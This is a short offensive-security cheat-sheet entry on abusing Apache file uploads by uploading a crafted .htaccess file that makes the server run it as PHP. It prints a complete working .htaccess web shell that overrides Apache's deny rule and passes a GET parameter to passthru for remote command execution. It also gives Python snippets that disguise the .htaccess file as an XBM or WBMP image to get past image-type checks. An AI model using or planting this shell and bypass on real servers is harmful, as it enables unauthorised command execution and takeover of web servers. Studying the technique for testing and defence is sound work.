Uploading an .htaccess file to override Apache rule and execute PHP. "Hackers can also use “.htaccess” file tricks to upload a malicious file with any extension and execute it. For a simple example, imagine uploading to the vulnerabler server an .htaccess file that has AddType application/x-httpd-php .htaccess configuration and also contains PHP shellcode. Because of the malicious .htaccess file, the web server considers the .htaccess file as an executable php file and executes its malicious PHP shellcode. One thing to note: .htaccess configurations are applicable only for the same directory and sub-directories where the .htaccess file is uploaded."
Self contained .htaccess web shell
# Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web <Files ~ "^\.ht"> Order allow,deny Allow from all </Files> # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess
###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>
.htaccess upload as image¶
exif_imagetype function is used on the server side to determine the image type, create a
# create valid .htaccess/xbm image width = 50 height = 50 payload = '# .htaccess file' with open('.htaccess', 'w') as htaccess: htaccess.write('#define test_width %d\n' % (width, )) htaccess.write('#define test_height %d\n' % (height, )) htaccess.write(payload)
# create valid .htaccess/wbmp image type_header = b'\x00' fixed_header = b'\x00' width = b'50' height = b'50' payload = b'# .htaccess file' with open('.htaccess', 'wb') as htaccess: htaccess.write(type_header + fixed_header + width + height) htaccess.write(b'\n') htaccess.write(payload)